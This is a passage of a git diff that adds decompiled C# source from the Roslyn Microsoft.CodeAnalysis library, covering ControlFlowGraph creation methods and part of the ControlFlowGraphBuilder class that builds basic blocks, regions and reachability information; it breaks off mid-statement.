Create(IParameterInitializerOperation initializer, CancellationToken cancellationToken = default(CancellationToken)) + { + return CreateCore(initializer, "initializer", cancellationToken); + } + + public static ControlFlowGraph Create(IAttributeOperation attribute, CancellationToken cancellationToken = default(CancellationToken)) + { + return CreateCore(attribute, "attribute", cancellationToken); + } + + public static ControlFlowGraph Create(IConstructorBodyOperation constructorBody, CancellationToken cancellationToken = default(CancellationToken)) + { + return CreateCore(constructorBody, "constructorBody", cancellationToken); + } + + public static ControlFlowGraph Create(IMethodBodyOperation methodBody, CancellationToken cancellationToken = default(CancellationToken)) + { + return CreateCore(methodBody, "methodBody", cancellationToken); + } + + internal static ControlFlowGraph CreateCore(IOperation operation, string argumentNameForException, CancellationToken cancellationToken) + { + cancellationToken.ThrowIfCancellationRequested(); + if (operation == null) + { + throw new ArgumentNullException(argumentNameForException); + } + if (operation.Parent != null) + { + throw new ArgumentException(CodeAnalysisResources.NotARootOperation, argumentNameForException); + } + if (((Operation)operation).OwningSemanticModel == null) + { + throw new ArgumentException(CodeAnalysisResources.OperationHasNullSemanticModel, argumentNameForException); + } + return ControlFlowGraphBuilder.Create(operation, null, null, null, default(ControlFlowGraphBuilder.Context)); + } + + public ControlFlowGraph GetLocalFunctionControlFlowGraph(IMethodSymbol localFunction, CancellationToken cancellationToken = default(CancellationToken)) + { + cancellationToken.ThrowIfCancellationRequested(); + if (localFunction == null) + { + throw new ArgumentNullException("localFunction"); + } + if (!TryGetLocalFunctionControlFlowGraph(localFunction, out ControlFlowGraph controlFlowGraph)) + { + throw new ArgumentOutOfRangeException("localFunction"); + } + return controlFlowGraph; + } + + internal bool TryGetLocalFunctionControlFlowGraph(IMethodSymbol localFunction, [NotNullWhen(true)] out ControlFlowGraph? controlFlowGraph) + { + if (!_localFunctionsMap.TryGetValue(localFunction, out (ControlFlowRegion, ILocalFunctionOperation, int) value)) + { + controlFlowGraph = null; + return false; + } + if (_lazyLocalFunctionsGraphs == null) + { + Interlocked.CompareExchange(ref _lazyLocalFunctionsGraphs, new ControlFlowGraph[LocalFunctions.Length], null); + } + ref ControlFlowGraph reference = ref _lazyLocalFunctionsGraphs[value.Item3]; + if (reference == null) + { + ControlFlowGraph value2 = ControlFlowGraphBuilder.Create(value.Item2, this, value.Item1, _captureIdDispenser, default(ControlFlowGraphBuilder.Context)); + Interlocked.CompareExchange(ref reference, value2, null); + } + controlFlowGraph = reference; + return true; + } + + public ControlFlowGraph GetAnonymousFunctionControlFlowGraph(IFlowAnonymousFunctionOperation anonymousFunction, CancellationToken cancellationToken = default(CancellationToken)) + { + cancellationToken.ThrowIfCancellationRequested(); + if (anonymousFunction == null) + { + throw new ArgumentNullException("anonymousFunction"); + } + if (!TryGetAnonymousFunctionControlFlowGraph(anonymousFunction, out ControlFlowGraph controlFlowGraph)) + { + throw new ArgumentOutOfRangeException("anonymousFunction"); + } + return controlFlowGraph; + } + + internal bool TryGetAnonymousFunctionControlFlowGraph(IFlowAnonymousFunctionOperation anonymousFunction, [NotNullWhen(true)] out ControlFlowGraph? controlFlowGraph) + { + if (!_anonymousFunctionsMap.TryGetValue(anonymousFunction, out (ControlFlowRegion, int) value)) + { + controlFlowGraph = null; + return false; + } + if (_lazyAnonymousFunctionsGraphs == null) + { + Interlocked.CompareExchange(ref _lazyAnonymousFunctionsGraphs, new ControlFlowGraph[_anonymousFunctionsMap.Count], null); + } + ref ControlFlowGraph reference = ref _lazyAnonymousFunctionsGraphs[value.Item2]; + if (reference == null) + { + FlowAnonymousFunctionOperation flowAnonymousFunctionOperation = (FlowAnonymousFunctionOperation)anonymousFunction; + ControlFlowGraph value2 = ControlFlowGraphBuilder.Create(flowAnonymousFunctionOperation.Original, this, value.Item1, _captureIdDispenser, in flowAnonymousFunctionOperation.Context); + Interlocked.CompareExchange(ref reference, value2, null); + } + controlFlowGraph = reference; + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowGraphBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowGraphBuilder.cs new file mode 100644 index 0000000..2a5a7f7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowGraphBuilder.cs @@ -0,0 +1,5908 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Threading; +using Microsoft.CodeAnalysis.Operations; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +internal sealed class ControlFlowGraphBuilder : OperationVisitor +{ + internal sealed class BasicBlockBuilder + { + internal struct Branch + { + public ControlFlowBranchSemantics Kind { get; set; } + + public BasicBlockBuilder? Destination { get; set; } + } + + public int Ordinal; + + public readonly BasicBlockKind Kind; + + private ArrayBuilder? _statements; + + private BasicBlockBuilder? _predecessor1; + + private BasicBlockBuilder? _predecessor2; + + private PooledHashSet? _predecessors; + + public IOperation? BranchValue; + + public ControlFlowConditionKind ConditionKind; + + public Branch Conditional; + + public Branch FallThrough; + + public bool IsReachable; + + public ControlFlowRegion? Region; + + [MemberNotNullWhen(true, "StatementsOpt")] + public bool HasStatements + { + [MemberNotNullWhen(true, "StatementsOpt")] + get + { + ArrayBuilder? statements = _statements; + if (statements == null) + { + return false; + } + return statements.Count > 0; + } + } + + public ArrayBuilder? StatementsOpt => _statements; + + public bool HasPredecessors + { + get + { + if (_predecessors != null) + { + return _predecessors.Count > 0; + } + if (_predecessor1 == null) + { + return _predecessor2 != null; + } + return true; + } + } + + [MemberNotNullWhen(true, "BranchValue")] + public bool HasCondition + { + [MemberNotNullWhen(true, "BranchValue")] + get + { + return ConditionKind != ControlFlowConditionKind.None; + } + } + + public BasicBlockBuilder(BasicBlockKind kind) + { + Kind = kind; + Ordinal = -1; + IsReachable = false; + } + + public void AddStatement(IOperation operation) + { + if (_statements == null) + { + _statements = ArrayBuilder.GetInstance(); + } + _statements.Add(operation); + } + + public void MoveStatementsFrom(BasicBlockBuilder other) + { + if (other._statements != null) + { + if (_statements == null) + { + _statements = other._statements; + other._statements = null; + } + else + { + _statements.AddRange(other._statements); + other._statements.Clear(); + } + } + } + + public BasicBlock ToImmutable() + { + BasicBlock result = new BasicBlock(Kind, _statements?.ToImmutableAndFree() ?? ImmutableArray.Empty, BranchValue, ConditionKind, Ordinal, IsReachable, Region); + _statements = null; + return result; + } + + public BasicBlockBuilder? GetSingletonPredecessorOrDefault() + { + if (_predecessors != null) + { + return _predecessors.AsSingleton(); + } + if (_predecessor2 == null) + { + return _predecessor1; + } + if (_predecessor1 == null) + { + return _predecessor2; + } + return null; + } + + public void AddPredecessor(BasicBlockBuilder predecessor) + { + if (_predecessors != null) + { + _predecessors.Add(predecessor); + } + else if (_predecessor1 != predecessor && _predecessor2 != predecessor) + { + if (_predecessor1 == null) + { + _predecessor1 = predecessor; + return; + } + if (_predecessor2 == null) + { + _predecessor2 = predecessor; + return; + } + _predecessors = PooledHashSet.GetInstance(); + _predecessors.Add(_predecessor1); + _predecessors.Add(_predecessor2); + _predecessors.Add(predecessor); + _predecessor1 = null; + _predecessor2 = null; + } + } + + public void RemovePredecessor(BasicBlockBuilder predecessor) + { + if (_predecessors != null) + { + _predecessors.Remove(predecessor); + } + else if (_predecessor1 == predecessor) + { + _predecessor1 = null; + } + else if (_predecessor2 == predecessor) + { + _predecessor2 = null; + } + } + + public void GetPredecessors(ArrayBuilder builder) + { + if (_predecessors != null) + { + foreach (BasicBlockBuilder predecessor in _predecessors) + { + builder.Add(predecessor); + } + return; + } + if (_predecessor1 != null) + { + builder.Add(_predecessor1); + } + if (_predecessor2 != null) + { + builder.Add(_predecessor2); + } + } + + public ImmutableArray ConvertPredecessorsToBranches(ArrayBuilder blocks) + { + if (!HasPredecessors) + { + _predecessors?.Free(); + _predecessors = null; + return ImmutableArray.Empty; + } + BasicBlock block = blocks[Ordinal]; + ArrayBuilder branches = ArrayBuilder.GetInstance(_predecessors?.Count ?? 2); + if (_predecessors != null) + { + foreach (BasicBlockBuilder predecessor in _predecessors) + { + addBranches(predecessor); + } + _predecessors.Free(); + _predecessors = null; + } + else + { + if (_predecessor1 != null) + { + addBranches(_predecessor1); + _predecessor1 = null; + } + if (_predecessor2 != null) + { + addBranches(_predecessor2); + _predecessor2 = null; + } + } + branches.Sort(delegate(ControlFlowBranch x, ControlFlowBranch y) + { + int num = x.Source.Ordinal - y.Source.Ordinal; + if (num == 0 && x.IsConditionalSuccessor != y.IsConditionalSuccessor) + { + num = ((!x.IsConditionalSuccessor) ? 1 : (-1)); + } + return num; + }); + return branches.ToImmutableAndFree(); + void addBranches(BasicBlockBuilder predecessorBlockBuilder) + { + BasicBlock basicBlock = blocks[predecessorBlockBuilder.Ordinal]; + if (basicBlock.FallThroughSuccessor.Destination == block) + { + branches.Add(basicBlock.FallThroughSuccessor); + } + if (basicBlock.ConditionalSuccessor?.Destination == block) + { + branches.Add(basicBlock.ConditionalSuccessor); + } + } + } + + public void Free() + { + Ordinal = -1; + _statements?.Free(); + _statements = null; + _predecessors?.Free(); + _predecessors = null; + _predecessor1 = null; + _predecessor2 = null; + } + } + + internal class CaptureIdDispenser + { + private int _captureId = -1; + + public int GetNextId() + { + return Interlocked.Increment(ref _captureId); + } + + public int GetCurrentId() + { + return _captureId; + } + } + + private readonly struct ConditionalAccessOperationTracker(ArrayBuilder operations, BasicBlockBuilder whenNull) + { + public readonly ArrayBuilder? Operations = operations; + + public readonly BasicBlockBuilder? WhenNull = whenNull; + + [MemberNotNullWhen(false, new string[] { "Operations", "WhenNull" })] + public bool IsDefault + { + [MemberNotNullWhen(false, new string[] { "Operations", "WhenNull" })] + get + { + return Operations == null; + } + } + + public void Free() + { + Operations?.Free(); + } + } + + internal readonly struct Context + { + public readonly IOperation? ImplicitInstance; + + public readonly INamedTypeSymbol? AnonymousType; + + public readonly ImmutableArray> AnonymousTypePropertyValues; + + internal Context(IOperation? implicitInstance, INamedTypeSymbol? anonymousType, ImmutableArray> anonymousTypePropertyValues) + { + ImplicitInstance = implicitInstance; + AnonymousType = anonymousType; + AnonymousTypePropertyValues = anonymousTypePropertyValues; + } + } + + private class EvalStackFrame + { + private RegionBuilder? _lazyRegionBuilder; + + public RegionBuilder? RegionBuilderOpt + { + get + { + return _lazyRegionBuilder; + } + set + { + _lazyRegionBuilder = value; + } + } + } + + private readonly struct ImplicitInstanceInfo + { + public IOperation? ImplicitInstance { get; } + + public INamedTypeSymbol? AnonymousType { get; } + + public PooledDictionary? AnonymousTypePropertyValues { get; } + + public ImplicitInstanceInfo(IOperation currentImplicitInstance) + { + ImplicitInstance = currentImplicitInstance; + AnonymousType = null; + AnonymousTypePropertyValues = null; + } + + public ImplicitInstanceInfo(INamedTypeSymbol currentInitializedAnonymousType) + { + ImplicitInstance = null; + AnonymousType = currentInitializedAnonymousType; + AnonymousTypePropertyValues = PooledDictionary.GetInstance(); + } + + public ImplicitInstanceInfo(in Context context) + { + if (context.ImplicitInstance != null) + { + ImplicitInstance = context.ImplicitInstance; + AnonymousType = null; + AnonymousTypePropertyValues = null; + } + else if (context.AnonymousType != null) + { + ImplicitInstance = null; + AnonymousType = context.AnonymousType; + AnonymousTypePropertyValues = PooledDictionary.GetInstance(); + ImmutableArray>.Enumerator enumerator = context.AnonymousTypePropertyValues.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + AnonymousTypePropertyValues.Add(current.Key, current.Value); + } + } + else + { + ImplicitInstance = null; + AnonymousType = null; + AnonymousTypePropertyValues = null; + } + } + + public void Free() + { + AnonymousTypePropertyValues?.Free(); + } + } + + private class InterpolatedStringHandlerArgumentsContext + { + public readonly ImmutableArray ApplicableCreationOperations; + + public readonly int StartingStackDepth; + + public readonly bool HasReceiver; + + public InterpolatedStringHandlerArgumentsContext(ImmutableArray applicableCreationOperations, int startingStackDepth, bool hasReceiver) + { + ApplicableCreationOperations = applicableCreationOperations; + HasReceiver = hasReceiver; + StartingStackDepth = startingStackDepth; + } + } + + private class InterpolatedStringHandlerCreationContext + { + public readonly IInterpolatedStringHandlerCreationOperation ApplicableCreationOperation; + + public readonly int MaximumStackDepth; + + public readonly int HandlerPlaceholder; + + public readonly int OutPlaceholder; + + public InterpolatedStringHandlerCreationContext(IInterpolatedStringHandlerCreationOperation applicableCreationOperation, int maximumStackDepth, int handlerPlaceholder, int outParameterPlaceholder) + { + ApplicableCreationOperation = applicableCreationOperation; + MaximumStackDepth = maximumStackDepth; + OutPlaceholder = outParameterPlaceholder; + HandlerPlaceholder = handlerPlaceholder; + } + } + + private class RegionBuilder + { + private sealed class AnonymousFunctionsMapBuilder : OperationVisitor<(ImmutableDictionary.Builder map, ControlFlowRegion region), IOperation> + { + public static readonly AnonymousFunctionsMapBuilder Instance = new AnonymousFunctionsMapBuilder(); + + public override IOperation? VisitFlowAnonymousFunction(IFlowAnonymousFunctionOperation operation, (ImmutableDictionary.Builder map, ControlFlowRegion region) argument) + { + argument.map.Add(operation, (argument.region, argument.map.Count)); + return base.VisitFlowAnonymousFunction(operation, argument); + } + + internal override IOperation? VisitNoneOperation(IOperation operation, (ImmutableDictionary.Builder map, ControlFlowRegion region) argument) + { + return DefaultVisit(operation, argument); + } + + public override IOperation? DefaultVisit(IOperation operation, (ImmutableDictionary.Builder map, ControlFlowRegion region) argument) + { + IOperation.OperationList.Enumerator enumerator = ((Operation)operation).ChildOperations.GetEnumerator(); + while (enumerator.MoveNext()) + { + IOperation current = enumerator.Current; + Visit(current, argument); + } + return null; + } + } + + public ControlFlowRegionKind Kind; + + public readonly ITypeSymbol? ExceptionType; + + public BasicBlockBuilder? FirstBlock; + + public BasicBlockBuilder? LastBlock; + + public ArrayBuilder? Regions; + + public ImmutableArray Locals; + + public ArrayBuilder<(IMethodSymbol, ILocalFunctionOperation)>? LocalFunctions; + + public ArrayBuilder? CaptureIds; + + public readonly bool IsStackSpillRegion; + + public RegionBuilder? Enclosing { get; private set; } + + [MemberNotNullWhen(false, new string[] { "FirstBlock", "LastBlock" })] + public bool IsEmpty + { + [MemberNotNullWhen(false, new string[] { "FirstBlock", "LastBlock" })] + get + { + return FirstBlock == null; + } + } + + [MemberNotNullWhen(true, "Regions")] + public bool HasRegions + { + [MemberNotNullWhen(true, "Regions")] + get + { + ArrayBuilder? regions = Regions; + if (regions == null) + { + return false; + } + return regions.Count > 0; + } + } + + [MemberNotNullWhen(true, "LocalFunctions")] + public bool HasLocalFunctions + { + [MemberNotNullWhen(true, "LocalFunctions")] + get + { + ArrayBuilder<(IMethodSymbol, ILocalFunctionOperation)>? localFunctions = LocalFunctions; + if (localFunctions == null) + { + return false; + } + return localFunctions.Count > 0; + } + } + + [MemberNotNullWhen(true, "CaptureIds")] + public bool HasCaptureIds + { + [MemberNotNullWhen(true, "CaptureIds")] + get + { + ArrayBuilder? captureIds = CaptureIds; + if (captureIds == null) + { + return false; + } + return captureIds.Count > 0; + } + } + + public RegionBuilder(ControlFlowRegionKind kind, ITypeSymbol? exceptionType = null, ImmutableArray locals = default(ImmutableArray), bool isStackSpillRegion = false) + { + Kind = kind; + ExceptionType = exceptionType; + Locals = locals.NullToEmpty(); + IsStackSpillRegion = isStackSpillRegion; + } + + [MemberNotNull("CaptureIds")] + public void AddCaptureId(int captureId) + { + if (CaptureIds == null) + { + CaptureIds = ArrayBuilder.GetInstance(); + } + CaptureIds.Add(new CaptureId(captureId)); + } + + public void AddCaptureIds(ArrayBuilder? others) + { + if (others != null) + { + if (CaptureIds == null) + { + CaptureIds = ArrayBuilder.GetInstance(); + } + CaptureIds.AddRange(others); + } + } + + [MemberNotNull("LocalFunctions")] + public void Add(IMethodSymbol symbol, ILocalFunctionOperation operation) + { + if (LocalFunctions == null) + { + LocalFunctions = ArrayBuilder<(IMethodSymbol, ILocalFunctionOperation)>.GetInstance(); + } + LocalFunctions.Add((symbol, operation)); + } + + public void AddRange(ArrayBuilder<(IMethodSymbol, ILocalFunctionOperation)>? others) + { + if (others != null) + { + if (LocalFunctions == null) + { + LocalFunctions = ArrayBuilder<(IMethodSymbol, ILocalFunctionOperation)>.GetInstance(); + } + LocalFunctions.AddRange(others); + } + } + + [MemberNotNull("Regions")] + public void Add(RegionBuilder region) + { + if (Regions == null) + { + Regions = ArrayBuilder.GetInstance(); + } + region.Enclosing = this; + Regions.Add(region); + } + + public void Remove(RegionBuilder region) + { + if (Regions.Count == 1) + { + Regions.Clear(); + } + else + { + Regions.RemoveAt(Regions.IndexOf(region)); + } + region.Enclosing = null; + } + + public void ReplaceRegion(RegionBuilder toReplace, ArrayBuilder replaceWith) + { + int num = ((Regions.Count != 1) ? Regions.IndexOf(toReplace) : 0); + int count = replaceWith.Count; + if (count == 1) + { + RegionBuilder regionBuilder = replaceWith[0]; + regionBuilder.Enclosing = this; + Regions[num] = regionBuilder; + } + else + { + int count2 = Regions.Count; + Regions.Count = count - 1 + count2; + int num2 = count2 - 1; + int num3 = Regions.Count - 1; + while (num2 > num) + { + Regions[num3] = Regions[num2]; + num2--; + num3--; + } + ArrayBuilder.Enumerator enumerator = replaceWith.GetEnumerator(); + while (enumerator.MoveNext()) + { + RegionBuilder current = enumerator.Current; + current.Enclosing = this; + Regions[num++] = current; + } + } + toReplace.Enclosing = null; + } + + [MemberNotNull(new string[] { "FirstBlock", "LastBlock" })] + public void ExtendToInclude(BasicBlockBuilder block) + { + if (FirstBlock == null) + { + if (!HasRegions) + { + FirstBlock = block; + LastBlock = block; + return; + } + FirstBlock = Regions.First().FirstBlock; + } + LastBlock = block; + } + + public void Free() + { + Enclosing = null; + FirstBlock = null; + LastBlock = null; + Regions?.Free(); + Regions = null; + LocalFunctions?.Free(); + LocalFunctions = null; + CaptureIds?.Free(); + CaptureIds = null; + } + + public ControlFlowRegion ToImmutableRegionAndFree(ArrayBuilder blocks, ArrayBuilder localFunctions, ImmutableDictionary.Builder localFunctionsMap, ImmutableDictionary.Builder? anonymousFunctionsMapOpt, ControlFlowRegion? enclosing) + { + int count = localFunctions.Count; + if (HasLocalFunctions) + { + ArrayBuilder<(IMethodSymbol, ILocalFunctionOperation)>.Enumerator enumerator = LocalFunctions.GetEnumerator(); + while (enumerator.MoveNext()) + { + IMethodSymbol item = enumerator.Current.Item1; + localFunctions.Add(item); + } + } + ImmutableArray nestedRegions; + if (HasRegions) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(Regions.Count); + ArrayBuilder.Enumerator enumerator2 = Regions.GetEnumerator(); + while (enumerator2.MoveNext()) + { + RegionBuilder current = enumerator2.Current; + instance.Add(current.ToImmutableRegionAndFree(blocks, localFunctions, localFunctionsMap, anonymousFunctionsMapOpt, null)); + } + nestedRegions = instance.ToImmutableAndFree(); + } + else + { + nestedRegions = ImmutableArray.Empty; + } + CaptureIds?.Sort((CaptureId x, CaptureId y) => x.Value.CompareTo(y.Value)); + ControlFlowRegion result = new ControlFlowRegion(Kind, FirstBlock.Ordinal, LastBlock.Ordinal, nestedRegions, Locals, LocalFunctions?.SelectAsArray(((IMethodSymbol, ILocalFunctionOperation) tuple2) => tuple2.Item1) ?? default(ImmutableArray), CaptureIds?.ToImmutable() ?? default(ImmutableArray), ExceptionType, enclosing); + if (HasLocalFunctions) + { + ArrayBuilder<(IMethodSymbol, ILocalFunctionOperation)>.Enumerator enumerator = LocalFunctions.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (key, item2) = enumerator.Current; + localFunctionsMap.Add(key, (result, item2, count++)); + } + } + int num = FirstBlock.Ordinal; + ImmutableArray.Enumerator enumerator3 = nestedRegions.GetEnumerator(); + while (enumerator3.MoveNext()) + { + ControlFlowRegion current2 = enumerator3.Current; + for (int num2 = num; num2 < current2.FirstBlockOrdinal; num2++) + { + setRegion(blocks[num2]); + } + num = current2.LastBlockOrdinal + 1; + } + for (int num3 = num; num3 <= LastBlock.Ordinal; num3++) + { + setRegion(blocks[num3]); + } + Free(); + return result; + void setRegion(BasicBlockBuilder block) + { + block.Region = result; + if (anonymousFunctionsMapOpt != null) + { + (ImmutableDictionary.Builder, ControlFlowRegion) argument = (anonymousFunctionsMapOpt, result); + if (block.HasStatements) + { + ArrayBuilder.Enumerator enumerator4 = block.StatementsOpt.GetEnumerator(); + while (enumerator4.MoveNext()) + { + IOperation current3 = enumerator4.Current; + AnonymousFunctionsMapBuilder.Instance.Visit(current3, argument); + } + } + AnonymousFunctionsMapBuilder.Instance.Visit(block.BranchValue, argument); + } + } + } + } + + private readonly Compilation _compilation; + + private readonly BasicBlockBuilder _entry = new BasicBlockBuilder(BasicBlockKind.Entry); + + private readonly BasicBlockBuilder _exit = new BasicBlockBuilder(BasicBlockKind.Exit); + + private readonly ArrayBuilder _blocks; + + private readonly PooledDictionary _regionMap; + + private BasicBlockBuilder? _currentBasicBlock; + + private RegionBuilder? _currentRegion; + + private PooledDictionary? _labeledBlocks; + + private bool _haveAnonymousFunction; + + private IOperation? _currentStatement; + + private readonly ArrayBuilder<(EvalStackFrame? frameOpt, IOperation? operationOpt)> _evalStack; + + private int _startSpillingAt; + + private ConditionalAccessOperationTracker _currentConditionalAccessTracker; + + private InterpolatedStringHandlerArgumentsContext? _currentInterpolatedStringHandlerArgumentContext; + + private InterpolatedStringHandlerCreationContext? _currentInterpolatedStringHandlerCreationContext; + + private IOperation? _currentSwitchOperationExpression; + + private IOperation? _forToLoopBinaryOperatorLeftOperand; + + private IOperation? _forToLoopBinaryOperatorRightOperand; + + private IOperation? _currentAggregationGroup; + + private bool _forceImplicit; + + private readonly CaptureIdDispenser _captureIdDispenser; + + private ImplicitInstanceInfo _currentImplicitInstance; + + private int _recursionDepth; + + private RegionBuilder CurrentRegionRequired => _currentRegion; + + private BasicBlockBuilder CurrentBasicBlock + { + get + { + if (_currentBasicBlock == null) + { + AppendNewBlock(new BasicBlockBuilder(BasicBlockKind.Block)); + } + return _currentBasicBlock; + } + } + + private Context GetCurrentContext() + { + return new Context(_currentImplicitInstance.ImplicitInstance, _currentImplicitInstance.AnonymousType, _currentImplicitInstance.AnonymousTypePropertyValues?.ToImmutableArray() ?? ImmutableArray>.Empty); + } + + private void SetCurrentContext(in Context context) + { + _currentImplicitInstance = new ImplicitInstanceInfo(in context); + } + + private ControlFlowGraphBuilder(Compilation compilation, CaptureIdDispenser? captureIdDispenser, ArrayBuilder blocks) + { + _compilation = compilation; + _captureIdDispenser = captureIdDispenser ?? new CaptureIdDispenser(); + _blocks = blocks; + _regionMap = PooledDictionary.GetInstance(); + _evalStack = ArrayBuilder<(EvalStackFrame, IOperation)>.GetInstance(); + } + + private bool IsImplicit(IOperation operation) + { + if (!_forceImplicit) + { + return operation.IsImplicit; + } + return true; + } + + public static ControlFlowGraph Create(IOperation body, ControlFlowGraph? parent = null, ControlFlowRegion? enclosing = null, CaptureIdDispenser? captureIdDispenser = null, in Context context = default(Context)) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ControlFlowGraphBuilder controlFlowGraphBuilder = new ControlFlowGraphBuilder(((Operation)body).OwningSemanticModel.Compilation, captureIdDispenser, instance); + RegionBuilder regionBuilder = new RegionBuilder(ControlFlowRegionKind.Root); + controlFlowGraphBuilder.EnterRegion(regionBuilder); + controlFlowGraphBuilder.AppendNewBlock(controlFlowGraphBuilder._entry, linkToPrevious: false); + controlFlowGraphBuilder._currentBasicBlock = null; + controlFlowGraphBuilder.SetCurrentContext(in context); + controlFlowGraphBuilder.EnterRegion(new RegionBuilder(ControlFlowRegionKind.LocalLifetime)); + switch (body.Kind) + { + case OperationKind.LocalFunction: + controlFlowGraphBuilder.VisitLocalFunctionAsRoot((ILocalFunctionOperation)body); + break; + case OperationKind.AnonymousFunction: + { + IAnonymousFunctionOperation anonymousFunctionOperation = (IAnonymousFunctionOperation)body; + controlFlowGraphBuilder.VisitStatement(anonymousFunctionOperation.Body); + break; + } + default: + controlFlowGraphBuilder.VisitStatement(body); + break; + } + controlFlowGraphBuilder.LeaveRegion(); + controlFlowGraphBuilder.AppendNewBlock(controlFlowGraphBuilder._exit); + controlFlowGraphBuilder.LeaveRegion(); + controlFlowGraphBuilder._currentImplicitInstance.Free(); + CheckUnresolvedBranches(instance, controlFlowGraphBuilder._labeledBlocks); + Pack(instance, regionBuilder, controlFlowGraphBuilder._regionMap); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(); + ImmutableDictionary.Builder builder2 = null; + if (controlFlowGraphBuilder._haveAnonymousFunction) + { + builder2 = ImmutableDictionary.CreateBuilder(); + } + ControlFlowRegion root = regionBuilder.ToImmutableRegionAndFree(instance, instance2, builder, builder2, enclosing); + regionBuilder = null; + MarkReachableBlocks(instance); + controlFlowGraphBuilder._evalStack.Free(); + controlFlowGraphBuilder._regionMap.Free(); + controlFlowGraphBuilder._labeledBlocks?.Free(); + return new ControlFlowGraph(body, parent, controlFlowGraphBuilder._captureIdDispenser, ToImmutableBlocks(instance), root, instance2.ToImmutableAndFree(), builder.ToImmutable(), builder2?.ToImmutable() ?? ImmutableDictionary.Empty); + } + + private static ImmutableArray ToImmutableBlocks(ArrayBuilder blockBuilders) + { + ArrayBuilder builder = ArrayBuilder.GetInstance(blockBuilders.Count); + ArrayBuilder.Enumerator enumerator = blockBuilders.GetEnumerator(); + while (enumerator.MoveNext()) + { + BasicBlockBuilder current = enumerator.Current; + builder.Add(current.ToImmutable()); + } + enumerator = blockBuilders.GetEnumerator(); + while (enumerator.MoveNext()) + { + BasicBlockBuilder current2 = enumerator.Current; + ControlFlowBranch successor = getFallThroughSuccessor(current2); + ControlFlowBranch conditionalSuccessor = getConditionalSuccessor(current2); + builder[current2.Ordinal].SetSuccessors(successor, conditionalSuccessor); + } + enumerator = blockBuilders.GetEnumerator(); + while (enumerator.MoveNext()) + { + BasicBlockBuilder current3 = enumerator.Current; + builder[current3.Ordinal].SetPredecessors(current3.ConvertPredecessorsToBranches(builder)); + } + return builder.ToImmutableAndFree(); + ControlFlowBranch getBranch(in BasicBlockBuilder.Branch branch, BasicBlockBuilder source, bool isConditionalSuccessor) + { + return new ControlFlowBranch(builder[source.Ordinal], (branch.Destination != null) ? builder[branch.Destination.Ordinal] : null, branch.Kind, isConditionalSuccessor); + } + ControlFlowBranch? getConditionalSuccessor(BasicBlockBuilder blockBuilder) + { + if (!blockBuilder.HasCondition) + { + return null; + } + return getBranch(in blockBuilder.Conditional, blockBuilder, isConditionalSuccessor: true); + } + ControlFlowBranch? getFallThroughSuccessor(BasicBlockBuilder blockBuilder) + { + if (blockBuilder.Kind == BasicBlockKind.Exit) + { + return null; + } + return getBranch(in blockBuilder.FallThrough, blockBuilder, isConditionalSuccessor: false); + } + } + + private static void MarkReachableBlocks(ArrayBuilder blocks) + { + PooledDictionary instance = PooledDictionary.GetInstance(); + PooledHashSet instance2 = PooledHashSet.GetInstance(); + MarkReachableBlocks(blocks, 0, blocks.Count - 1, null, instance, instance2, out var _); + instance.Free(); + instance2.Free(); + } + + private static BitVector MarkReachableBlocks(ArrayBuilder blocks, int firstBlockOrdinal, int lastBlockOrdinal, ArrayBuilder? outOfRangeBlocksToVisit, PooledDictionary continueDispatchAfterFinally, PooledHashSet dispatchedExceptionsFromRegions, out bool fellThrough) + { + BitVector visited = BitVector.Empty; + ArrayBuilder toVisit = ArrayBuilder.GetInstance(); + fellThrough = false; + toVisit.Push(blocks[firstBlockOrdinal]); + do + { + BasicBlockBuilder basicBlockBuilder = toVisit.Pop(); + if (basicBlockBuilder.Ordinal < firstBlockOrdinal || basicBlockBuilder.Ordinal > lastBlockOrdinal) + { + outOfRangeBlocksToVisit.Push(basicBlockBuilder); + } + else + { + if (visited[basicBlockBuilder.Ordinal]) + { + continue; + } + visited[basicBlockBuilder.Ordinal] = true; + basicBlockBuilder.IsReachable = true; + bool flag = true; + if (basicBlockBuilder.HasCondition) + { + ConstantValue constantValue = basicBlockBuilder.BranchValue.GetConstantValue(); + if ((object)constantValue != null && constantValue.IsBoolean) + { + bool booleanValue = constantValue.BooleanValue; + if (booleanValue == (basicBlockBuilder.ConditionKind == ControlFlowConditionKind.WhenTrue)) + { + followBranch(basicBlockBuilder, in basicBlockBuilder.Conditional); + flag = false; + } + } + else + { + followBranch(basicBlockBuilder, in basicBlockBuilder.Conditional); + } + } + if (flag) + { + BasicBlockBuilder.Branch branch = basicBlockBuilder.FallThrough; + followBranch(basicBlockBuilder, in branch); + if (basicBlockBuilder.Ordinal == lastBlockOrdinal && branch.Kind != ControlFlowBranchSemantics.Throw && branch.Kind != ControlFlowBranchSemantics.Rethrow) + { + fellThrough = true; + } + } + dispatchException(basicBlockBuilder.Region); + } + } + while (toVisit.Count != 0); + toVisit.Free(); + return visited; + void dispatchException([DisallowNull] ControlFlowRegion? fromRegion) + { + while (dispatchedExceptionsFromRegions.Add(fromRegion)) + { + ControlFlowRegion controlFlowRegion = ((fromRegion.Kind == ControlFlowRegionKind.Root) ? null : fromRegion.EnclosingRegion); + if (fromRegion.Kind == ControlFlowRegionKind.Try) + { + switch (controlFlowRegion.Kind) + { + case ControlFlowRegionKind.TryAndFinally: + if (!stepThroughSingleFinally(controlFlowRegion.NestedRegions[1])) + { + return; + } + break; + case ControlFlowRegionKind.TryAndCatch: + dispatchExceptionThroughCatches(controlFlowRegion, 1); + break; + default: + throw ExceptionUtilities.UnexpectedValue(controlFlowRegion.Kind); + } + } + else if (fromRegion.Kind == ControlFlowRegionKind.Filter) + { + ControlFlowRegion enclosingRegion = controlFlowRegion.EnclosingRegion; + int num = 